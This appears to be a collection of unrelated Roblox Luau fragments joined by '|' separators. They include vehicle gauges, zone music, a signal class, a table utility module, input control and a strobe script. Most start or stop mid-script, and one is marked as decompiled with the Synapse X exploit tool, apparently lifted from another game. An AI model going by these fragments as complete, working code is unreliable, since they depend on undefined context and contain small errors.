table.insert(Drive,car.Wheels.FR)
end
if car.Wheels:FindFirstChild("F")~= nil then
table.insert(Drive,car.Wheels.F)
end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
if car.Wheels:FindFirstChild("RL")~= nil then
table.insert(Drive,car.Wheels.RL)
end
if car.Wheels:FindFirstChild("RR")~= nil then
table.insert(Drive,car.Wheels.RR)
end
if car.Wheels:FindFirstChild("R")~= nil then
table.insert(Drive,car.Wheels.R)
end
end
local wDia = 0
for i,v in pairs(Drive) do
if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20)
end
end
for i=0,revEnd*2 do
local ln = script.Parent.ln:clone()
ln.Parent = script.Parent.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = script.Parent.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",script.Parent.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = script.Parent.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",script.Parent.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = script.Parent.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.IsOn.Value then
script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
script.Parent.Parent.Values.RPM.Changed:connect(function()
script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000))
intach.Rotation = -90 + script.Parent.Parent.Values.RPM.Value * 270 / 8000
end)
script.Parent.Parent.Values.Gear.Changed:connect(function()
local gearText = script.Parent.Parent.Values.Gear.Value
if gearText == 0 then
gearText = "N"
car.Body.Dash.D.G.Info.Gear.Text = "N"
elseif gearText == -1 then
gearText = "R"
car.Body.Dash.D.G.Info.Gear.Text = "R"
end
script.Parent.Gear.Text = gearText
car.Body.Dash.D.G.Info.Gear.Text = gearText
end)
script.Parent.Parent.Values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCS.Value then
script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.TCSActive.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = true
script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.Parent.Values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
else
wait()
script.Parent.TCS.Visible = false
end
else
script.Parent.TCS.Visible = false
end
end)
script.Parent.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = not script.Parent.TCS.Visible
elseif not script.Parent.Parent.Values.TCS.Value then
wait()
script.Parent.TCS.Visible = true
end
else
if script.Parent.TCS.Visible then
script.Parent.TCS.Visible = false
end
end
end)
script.Parent.Parent.Values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABS.Value then
script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if script.Parent.Parent.Values.ABSActive.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = true
script.Parent.ABS.TextColor3 = Color3.new(1,0,0)
script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.Parent.Values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
else
wait()
script.Parent.ABS.Visible = false
end
else
script.Parent.ABS.Visible = false
end
end)
script.Parent.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = not script.Parent.ABS.Visible
elseif not script.Parent.Parent.Values.ABS.Value then
wait()
script.Parent.ABS.Visible = true
end
else
if script.Parent.ABS.Visible then
script.Parent.ABS.Visible = false
end
end
end)
script.Parent.Parent.Values.PBrake.Changed:connect(function()
script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)
script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
script.Parent.TMode.Text = "A/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
script.Parent.TMode.Text = "S/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
script.Parent.TMode.Text = "M/T"
script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end)
script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
inspd.Rotation = -90 + (270 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88))))
end)
script.Parent.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(script.Parent.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
mouse.KeyDown:connect(function(key)
if key=="v" then
script.Parent.Visible=not script.Parent.Visible
end
end)
|
--now, get to playing the music
|
local FadeoutTime = settings.MusicFadeoutTime
function PlaySound(sounddata)
if sounddata == nil then return end
local sound = Instance.new("Sound")
sound.Looped = true
sound.SoundId = sounddata.SoundId
sound.Volume = musicon and sounddata.Volume or 0
local v = Instance.new("NumberValue",sound)
v.Name = "OriginalVolume"
v.Value = sounddata.Volume
sound.Pitch = sounddata.Pitch
sound.Name = "BGM"
sound.Parent = script
wait(15)
sound:Play()
end
function FadeOutSound(sound)
local basevol = sound.Volume
local count = math.ceil(30*FadeoutTime)
if count < 1 then
count = 1
end
for i=1,count do
if sound then
sound.Volume = sound.Volume - (basevol / count)
wait(1/30)
end
end
if sound then
sound:Stop()
sound:Destroy()
end
end
if settings.UseGlobalBackgroundMusic == true and settings.UseMusicZones == false then
if #music[globali] == 1 then --global BGM with just 1 song? ez pz
PlaySound(music[1][1])
return
elseif #music[globali] == 0 then --there's no music to play...?
return
end
end
local recentindices = {} --keeps track of recently selected indicies, so as not to play repeat music tracks
math.randomseed(tick())
local currentzone
local zoneplayingmusic
function CheckIfRecent(i)
for _,v in pairs(recentindices) do
if v == i then
return true
end
end
return false
end
function SelectRandomMusic(musiclist) --select a random number, excluding ones that were already used recently
if musiclist == nil or #musiclist == 0 then return end
local possiblenumbers = {}
local selectedindex
for i=1,#musiclist do
if not CheckIfRecent(i) then
table.insert(possiblenumbers,i)
end
end
local selectedindex = possiblenumbers[math.random(1,#possiblenumbers)]
table.insert(recentindices,selectedindex)
if #recentindices > math.ceil(#musiclist / 2) then
table.remove(recentindices,1)
end
return musiclist[selectedindex]
end
function IsInZone(zonedata)
if torso and torso.Parent ~= nil then
local p = torso.Position
for _,data in pairs(zonedata["Parts"]) do
if data["Coordinates"] then
local t = data["Coordinates"]
if (p.x > t.lx and p.x < t.mx and p.y > t.ly and p.y < t.my and p.z > t.lz and p.z < t.mz) then --is the character within all the coordinates of the zone?
return true
end
elseif data["Part"] then --complex part? create a clone of the part and check if it's touching the character's torso
local part = data["Part"]:clone()
part.Anchored = true
part.Parent = workspace.CurrentCamera or workspace
part.CanCollide = true
local touching = part:GetTouchingParts()
part:Destroy()
for _,v in pairs(touching) do
if v == torso then
return true
end
end
end
end
return false
end
end
function CalculateCurrentZone()
local priority = -math.huge
local oldzone = currentzone
local selectedzone
if currentzone then
if IsInZone(currentzone) then
selectedzone = currentzone
priority = currentzone["Priority"]
end
end
for _,zone in pairs(zones) do
if zone["Priority"] > priority and IsInZone(zone) then
priority = zone["Priority"]
selectedzone = zone
end
end
currentzone = selectedzone
if currentzone ~= oldzone and (currentzone ~= nil or settings.UseGlobalBackgroundMusic == true) then
recentindices = {}
end
return currentzone,oldzone
end
function RunCycle() --the main cycle which will continuously run, checking which zones (if any) the character is in and playing new music when necessary
local bgm = script:FindFirstChild("BGM")
if settings.UseMusicZones == true then
local zone,oldzone = CalculateCurrentZone()
if zone ~= oldzone and zone ~= zoneplayingmusic and bgm then
if (zone == nil and (settings.UseGlobalBackgroundMusic == true or settings.MusicOnlyPlaysWithinZones == true)) or zone ~= nil then
FadeOutSound(bgm)
return
end
elseif zone and bgm == nil then
PlaySound(SelectRandomMusic(zone["Music"]))
zoneplayingmusic = zone
return
elseif zone == nil and oldzone and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then
PlaySound(SelectRandomMusic(oldzone["Music"]))
zoneplayingmusic = oldzone
return
elseif zoneplayingmusic and settings.MusicOnlyPlaysWithinZones == false and settings.UseGlobalBackgroundMusic == false and bgm == nil then
PlaySound(SelectRandomMusic(zoneplayingmusic["Music"]))
return
elseif settings.UseGlobalBackgroundMusic == true and bgm == nil then
PlaySound(SelectRandomMusic(music[globali]))
zoneplayingmusic = nil
return
end
elseif bgm == nil and settings.UseGlobalBackgroundMusic == true then
PlaySound(SelectRandomMusic(music[globali]))
return
end
if bgm and (settings.UseGlobalBackgroundMusic == true and zoneplayingmusic == nil and #music[globali] > 1) or (zoneplayingmusic and #zoneplayingmusic["Music"] > 1) then
local length = bgm.TimeLength
local pos = bgm.TimePosition
if length ~= 0 and length - pos < FadeoutTime + .5 then
FadeOutSound(bgm)
end
end
end
while wait(.5) do
RunCycle()
end
|
--mute button stuff
|
local canmute = settings.DisplayMuteButton
local clonegui
if canmute then
clonegui = script.MuteButtonGui:clone()
end
script.MuteButtonGui:Destroy()
local musicon = true
function SetButtonStyle(button)
button.Text = "Music: ".. (musicon and "ON" or "OFF")
button.Style = musicon and Enum.ButtonStyle.RobloxRoundDefaultButton or Enum.ButtonStyle.RobloxRoundDropdownButton
button.TextColor3 = musicon and Color3.new(1,1,1) or Color3.new(.2,.2,.23)
end
function CreateButton()
local gui = clonegui:clone()
local button = gui.Button
button.Visible = true
SetButtonStyle(button)
button.MouseButton1Click:connect(function()
musicon = not musicon
local bgm = script:FindFirstChild("BGM")
if bgm then
bgm.Volume = musicon and bgm.OriginalVolume.Value or 0
end
SetButtonStyle(button)
end)
gui.Parent = plr:WaitForChild("PlayerGui")
end
function CharInit()
char = plr.Character
torso = char:WaitForChild("HumanoidRootPart")
if canmute then CreateButton() end
end
if plr.Character and plr.Character.Parent ~= nil then
CharInit()
end
plr.CharacterAdded:connect(function()
CharInit()
end)
|
-- Signal:Fire(...) implemented by running the handler functions on the
-- coRunnerThread, and any time the resulting thread yielded without returning
-- to us, that means that it yielded to the Roblox scheduler and has been taken
-- over by Roblox scheduling, meaning we have to make a new coroutine runner.
|
function Signal.Fire(self: ClassType, ...: any?)
local item = self._handlerListHead
while item do
if item._connected then
if not freeRunnerThread then
freeRunnerThread = coroutine.create(runEventHandlerInFreeThread)
end
task.spawn(freeRunnerThread :: thread, item._fn, ...)
end
item = item._next
end
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__ReplicatedStorage__2 = game.ReplicatedStorage;
local v3 = require(game.ReplicatedStorage.Modules.Lightning);
local v4 = require(game.ReplicatedStorage.Modules.Xeno);
local l__TweenService__5 = game.TweenService;
local l__Debris__6 = game.Debris;
local u1 = require(game.ReplicatedStorage.Modules.CameraShaker);
function v1.RunStompFx(p1, p2, p3, p4)
local v7 = game.ReplicatedStorage.KillFX.Tonka.Bell:Clone();
v7:PivotTo(CFrame.new(p2.Position));
wait(2);
v7.VFX.Sound:Play();
v7.Parent = workspace.Ignored.Animations;
local v8 = v7.AnimationController:LoadAnimation(v7.Animation);
v8:Play(0.1, 1, 1);
local u2 = nil;
u2 = v8:GetMarkerReachedSignal("Spawn"):Connect(function()
task.delay(0.45, function()
v7.VFX.Attachment.Glow.Enabled = true;
local u3 = 0;
local u4 = nil;
u4 = v8:GetMarkerReachedSignal("Ring"):Connect(function()
u3 = u3 + 1;
for v9 = 1, 8 do
local v10 = game.ReplicatedStorage.KillFX.Tonka.ColorCorrection:Clone();
v10.Parent = game.Lighting;
game.TweenService:Create(v10, TweenInfo.new(1), {
TintColor = Color3.fromRGB(255, 255, 255),
Brightness = 0,
Contrast = 0,
Saturation = 0
}):Play();
game.Debris:AddItem(v10, 1);
end;
local v11 = u1.new(Enum.RenderPriority.Camera.Value, function(p5)
workspace.CurrentCamera.CFrame = workspace.CurrentCamera.CFrame * p5;
end);
v11:Start();
v11:Shake(u1.Presets.Bump);
local v12 = v7.VFX.Attachment:Clone();
v12.Parent = workspace.Terrain;
v12.WorldPosition = (v7.RootPart.Chain.Bell.DingDong.TransformedWorldCFrame * CFrame.new(0, 6, 0)).Position;
game.Debris:AddItem(v12, 2);
v12.ParticleEmitter.Enabled = true;
task.delay(0.25, function()
v12.ParticleEmitter.Enabled = false;
end);
v7.VFX.Sound.Volume = 2;
task.delay(0.25, function()
v7.VFX.Sound.Volume = 1;
end);
if u3 == 3 then
return;
end;
if u3 == 5 then
v7.VFX.Attachment.Glow.Enabled = false;
game.TweenService:Create(v7.VFX.Sound, TweenInfo.new(2, Enum.EasingStyle.Exponential), {
Volume = 0
}):Play();
for v13, v14 in pairs(v7:GetDescendants()) do
if v14:IsA("MeshPart") then
game.TweenService:Create(v14, TweenInfo.new(2, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut), {
Transparency = 1,
Reflectance = 0
}):Play();
elseif v14:IsA("Beam") then
game.TweenService:Create(v14, TweenInfo.new(3, Enum.EasingStyle.Exponential), {
Width1 = 0,
Width0 = 0
}):Play();
end;
end;
u4:Disconnect();
end;
end);
u2:Disconnect();
for v15, v16 in pairs(v7:GetDescendants()) do
if v16:IsA("MeshPart") then
game.TweenService:Create(v16, TweenInfo.new(2, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut), {
Transparency = 0
}):Play();
elseif v16:IsA("Beam") then
game.TweenService:Create(v16, TweenInfo.new(3, Enum.EasingStyle.Exponential), {
Width1 = 50,
Width0 = 50
}):Play();
end;
end;
local u5 = nil;
local u6 = 0;
u5 = game["Run Service"].RenderStepped:Connect(function()
if v7.Parent == nil then
u5:Disconnect();
else
v7.VFX.CFrame = v7.RootPart.Chain.Bell.TransformedWorldCFrame * CFrame.new(0, 10, 0) * CFrame.Angles(math.rad(u6), 0, math.rad(u6));
v7.VFX1.CFrame = v7.RootPart.Chain.Bell.TransformedWorldCFrame * CFrame.new(0, 10, 0) * CFrame.Angles(math.rad(-u6), math.rad(-u6), 0);
end;
u6 = u6 + 2.5;
end);
end);
end);
return nil;
end;
return v1;
|
--[[
TableUtil.Copy(Table tbl)
TableUtil.Sync(Table tbl, Table templateTbl)
TableUtil.Print(Table tbl, String label, Boolean deepPrint)
TableUtil.FastRemove(Table tbl, Number index)
TableUtil.FastRemoveFirstValue(Table tbl, Variant value)
TableUtil.Map(Table tbl, Function callback)
TableUtil.Filter(Table tbl, Function callback)
TableUtil.Reduce(Table tbl, Function callback [, Number initialValue])
TableUtil.IndexOf(Table tbl, Variant item)
TableUtil.Reverse(Table tbl)
TableUtil.Shuffle(Table tbl)
TableUtil.IsEmpty(Table tbl)
TableUtil.EncodeJSON(Table tbl)
TableUtil.DecodeJSON(String json)
EXAMPLES:
Copy:
Performs a deep copy of the given table.
local tbl = {"a", "b", "c"}
local tblCopy = TableUtil.Copy(tbl)
Sync:
Synchronizes a table to a template table. If the table does not have an
item that exists within the template, it gets added. If the table has
something that the template does not have, it gets removed.
local tbl1 = {kills = 0; deaths = 0; points = 0}
local tbl2 = {points = 0}
TableUtil.Sync(tbl2, tbl1) -- In words: "Synchronize table2 to table1"
print(tbl2.deaths)
Print:
Prints out the table to the output in an easy-to-read format. Good for
debugging tables. If deep printing, avoid cyclical references.
local tbl = {a = 32; b = 64; c = 128; d = {x = 0; y = 1; z = 2}}
TableUtil.Print(tbl, "My Table", true)
FastRemove:
Removes an item from an array at a given index. Only use this if you do
NOT care about the order of your array. This works by simply popping the
last item in the array and overwriting the given index with the last
item. This is O(1), compared to table.remove's O(n) speed.
local tbl = {"hello", "there", "this", "is", "a", "test"}
TableUtil.FastRemove(tbl, 2) -- Remove "there" in the array
print(table.concat(tbl, " ")) -- > hello this is a test
FastRemoveFirstValue:
Calls FastRemove on the first index that holds the given value.
local tbl = {"abc", "hello", "hi", "goodbye", "hello", "hey"}
local removed, atIndex = TableUtil.FastRemoveFirstValue(tbl, "hello")
if (removed) then
print("Removed at index " .. atIndex)
print(table.concat(tbl, " ")) -- > abc hi goodbye hello hey
else
print("Did not find value")
end
Map:
This allows you to construct a new table by calling the given function
on each item in the table.
local peopleData = {
{firstName = "Bob"; lastName = "Smith"};
{firstName = "John"; lastName = "Doe"};
{firstName = "Jane"; lastName = "Doe"};
}
local people = TableUtil.Map(peopleData, function(item)
return {Name = item.firstName .. " " .. item.lastName}
end)
-- 'people' is now an array that looks like: { {Name = "Bob Smith"}; ... }
Filter:
This allows you to create a table based on the given table and a filter
function. If the function returns 'true', the item remains in the new
table; if the function returns 'false', the item is discluded from the
new table.
local people = {
{Name = "Bob Smith"; Age = 42};
{Name = "John Doe"; Age = 34};
{Name = "Jane Doe"; Age = 37};
}
local peopleUnderForty = TableUtil.Filter(people, function(item)
return item.Age < 40
end)
Reduce:
This allows you to reduce an array to a single value. Useful for quickly
summing up an array.
local tbl = {40, 32, 9, 5, 44}
local tblSum = TableUtil.Reduce(tbl, function(accumulator, value)
return accumulator + value
end)
print(tblSum) -- > 130
IndexOf:
Returns the index of the given item in the table. If not found, this
will return nil.
local tbl = {"Hello", 32, true, "abc"}
local abcIndex = TableUtil.IndexOf("abc") -- > 4
local helloIndex = TableUtil.IndexOf("Hello") -- > 1
local numberIndex = TableUtil.IndexOf(64) -- > nil
Reverse:
Creates a reversed version of the array. Note: This is a shallow
copy, so existing references will remain within the new table.
local tbl = {2, 4, 6, 8}
local rblReversed = TableUtil.Reverse(tbl) -- > {8, 6, 4, 2}
Shuffle:
Shuffles (i.e. randomizes) an array. This uses the Fisher-Yates algorithm.
local tbl = {1, 2, 3, 4, 5, 6, 7, 8, 9}
TableUtil.Shuffle(tbl)
print(table.concat(tbl, ", ")) -- e.g. > 3, 6, 9, 2, 8, 4, 1, 7, 5
--]]
|
local TableUtil = {}
local http = game:GetService("HttpService")
local function CopyTable(t)
assert(type(t) == "table", "First argument must be a table")
local tCopy = {}
for k,v in pairs(t) do
if (type(v) == "table") then
tCopy[k] = CopyTable(v)
else
tCopy[k] = v
end
end
return tCopy
end
local function Sync(tbl, templateTbl)
assert(type(tbl) == "table", "First argument must be a table")
assert(type(templateTbl) == "table", "Second argument must be a table")
-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'
-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'
-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'
for k,v in pairs(tbl) do
local vTemplate = templateTbl[k]
-- Remove keys not within template:
if (vTemplate == nil) then
tbl[k] = nil
-- Synchronize data types:
elseif (type(v) ~= type(vTemplate)) then
if (type(vTemplate) == "table") then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
-- Synchronize sub-tables:
elseif (type(v) == "table") then
Sync(v, vTemplate)
end
end
-- Add any missing keys:
for k,vTemplate in pairs(templateTbl) do
local v = tbl[k]
if (v == nil) then
if (type(vTemplate) == "table") then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
end
end
end
local function FastRemove(t, i)
local n = #t
t[i] = t[n]
t[n] = nil
end
local function Map(t, f)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
local newT = {}
for k,v in pairs(t) do
newT[k] = f(v, k, t)
end
return newT
end
local function Filter(t, f)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
local newT = {}
if (#t > 0) then
local n = 0
for i = 1,#t do
local v = t[i]
if (f(v, i, t)) then
n = (n + 1)
newT[n] = v
end
end
else
for k,v in pairs(t) do
if (f(v, k, t)) then
newT[k] = v
end
end
end
return newT
end
local function Reduce(t, f, init)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
assert(init == nil or type(init) == "number", "Third argument must be a number or nil")
local result = (init or 0)
for k,v in pairs(t) do
result = f(result, v, k, t)
end
return result
end
local function Print(tbl, label, deepPrint)
assert(type(tbl) == "table", "First argument must be a table")
assert(label == nil or type(label) == "string", "Second argument must be a string or nil")
label = (label or "TABLE")
local strTbl = {}
local indent = " - "
-- Insert(string, indentLevel)
local function Insert(s, l)
strTbl[#strTbl + 1] = (indent:rep(l) .. s .. "\n")
end
local function AlphaKeySort(a, b)
return (tostring(a.k) < tostring(b.k))
end
local function PrintTable(t, lvl, lbl)
Insert(lbl .. ":", lvl - 1)
local nonTbls = {}
local tbls = {}
local keySpaces = 0
for k,v in pairs(t) do
if (type(v) == "table") then
table.insert(tbls, {k = k, v = v})
else
table.insert(nonTbls, {k = k, v = "[" .. typeof(v) .. "] " .. tostring(v)})
end
local spaces = #tostring(k) + 1
if (spaces > keySpaces) then
keySpaces = spaces
end
end
table.sort(nonTbls, AlphaKeySort)
table.sort(tbls, AlphaKeySort)
for _,v in pairs(nonTbls) do
Insert(tostring(v.k) .. ":" .. (" "):rep(keySpaces - #tostring(v.k)) .. v.v, lvl)
end
if (deepPrint) then
for _,v in pairs(tbls) do
PrintTable(v.v, lvl + 1, tostring(v.k) .. (" "):rep(keySpaces - #tostring(v.k)) .. " [Table]")
end
else
for _,v in pairs(tbls) do
Insert(tostring(v.k) .. ":" .. (" "):rep(keySpaces - #tostring(v.k)) .. "[Table]", lvl)
end
end
end
PrintTable(tbl, 1, label)
print(table.concat(strTbl, ""))
end
local function IndexOf(tbl, item)
for i = 1,#tbl do
if (tbl[i] == item) then
return i
end
end
return nil
end
local function Reverse(tbl)
local tblRev = {}
local n = #tbl
for i = 1,n do
tblRev[i] = tbl[n - i + 1]
end
return tblRev
end
local function Shuffle(tbl)
assert(type(tbl) == "table", "First argument must be a table")
for i = #tbl, 2, -1 do
local j = math.random(i)
tbl[i], tbl[j] = tbl[j], tbl[i]
end
end
local function IsEmpty(tbl)
return (next(tbl) == nil)
end
local function EncodeJSON(tbl)
return http:JSONEncode(tbl)
end
local function DecodeJSON(str)
return http:JSONDecode(str)
end
local function FastRemoveFirstValue(t, v)
local index = IndexOf(t, v)
if (index) then
FastRemove(t, index)
return true, index
end
return false, nil
end
TableUtil.Copy = CopyTable
TableUtil.Sync = Sync
TableUtil.FastRemove = FastRemove
TableUtil.FastRemoveFirstValue = FastRemoveFirstValue
TableUtil.Print = Print
TableUtil.Map = Map
TableUtil.Filter = Filter
TableUtil.Reduce = Reduce
TableUtil.IndexOf = IndexOf
TableUtil.Reverse = Reverse
TableUtil.Shuffle = Shuffle
TableUtil.IsEmpty = IsEmpty
TableUtil.EncodeJSON = EncodeJSON
TableUtil.DecodeJSON = DecodeJSON
return TableUtil
|
-- Keyboard controller is really keyboard and mouse controller
|
local computerInputTypeToModuleMap = {
[Enum.UserInputType.Keyboard] = Keyboard,
[Enum.UserInputType.MouseButton1] = Keyboard,
[Enum.UserInputType.MouseButton2] = Keyboard,
[Enum.UserInputType.MouseButton3] = Keyboard,
[Enum.UserInputType.MouseWheel] = Keyboard,
[Enum.UserInputType.MouseMovement] = Keyboard,
[Enum.UserInputType.Gamepad1] = Gamepad,
[Enum.UserInputType.Gamepad2] = Gamepad,
[Enum.UserInputType.Gamepad3] = Gamepad,
[Enum.UserInputType.Gamepad4] = Gamepad,
}
local lastInputType
function ControlModule.new()
local self = setmetatable({},ControlModule)
-- The Modules above are used to construct controller instances as-needed, and this
-- table is a map from Module to the instance created from it
self.controllers = {}
self.activeControlModule = nil -- Used to prevent unnecessarily expensive checks on each input event
self.activeController = nil
self.touchJumpController = nil
self.moveFunction = Players.LocalPlayer.Move
self.humanoid = nil
self.lastInputType = Enum.UserInputType.None
-- For Roblox self.vehicleController
self.humanoidSeatedConn = nil
self.vehicleController = nil
self.touchControlFrame = nil
self.vehicleController = VehicleController.new(CONTROL_ACTION_PRIORITY)
Players.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end)
Players.LocalPlayer.CharacterRemoving:Connect(function(char) self:OnCharacterRemoving(char) end)
if Players.LocalPlayer.Character then
self:OnCharacterAdded(Players.LocalPlayer.Character)
end
RunService:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(dt)
self:OnRenderStepped(dt)
end)
UserInputService.LastInputTypeChanged:Connect(function(newLastInputType)
self:OnLastInputTypeChanged(newLastInputType)
end)
UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function()
self:OnTouchMovementModeChange()
end)
Players.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function()
self:OnTouchMovementModeChange()
end)
UserGameSettings:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function()
self:OnComputerMovementModeChange()
end)
Players.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
self:OnComputerMovementModeChange()
end)
--[[ Touch Device UI ]]--
self.playerGui = nil
self.touchGui = nil
self.playerGuiAddedConn = nil
if UserInputService.TouchEnabled then
self.playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
if self.playerGui then
self:CreateTouchGuiContainer()
self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
else
self.playerGuiAddedConn = Players.LocalPlayer.ChildAdded:Connect(function(child)
if child:IsA("PlayerGui") then
self.playerGui = child
self:CreateTouchGuiContainer()
self.playerGuiAddedConn:Disconnect()
self.playerGuiAddedConn = nil
self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
end
end)
end
else
self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
end
return self
end
|
-- When key released
|
function onKeyUp(key)
if key == nil then return end
key = key:lower()
-- Stop firing MG
if key == 'f' then
firingMg = false;
end
end
script.Parent.Equipped:connect(onSelected)
script.Parent.Unequipped:connect(onDeselected)
|
-- Initialize the core
|
local Core = require(Tool:WaitForChild 'Core');
|
-- True ...... Synchronized
-- False ..... Free Run
|
val2 = script.Parent.Parent.Parent.Parent.VisualCircuit
strobe = script.Parent.Parent.Strobe
salarm = false
if candela == 0 then
strobe.Flasher.Size = UDim2.new(2,0,3,0)
elseif candela == 1 then
strobe.Flasher.Size = UDim2.new(3,0,4,0)
elseif candela == 2 then
strobe.Flasher.Size = UDim2.new(4,0,5,0)
elseif candela == 3 then
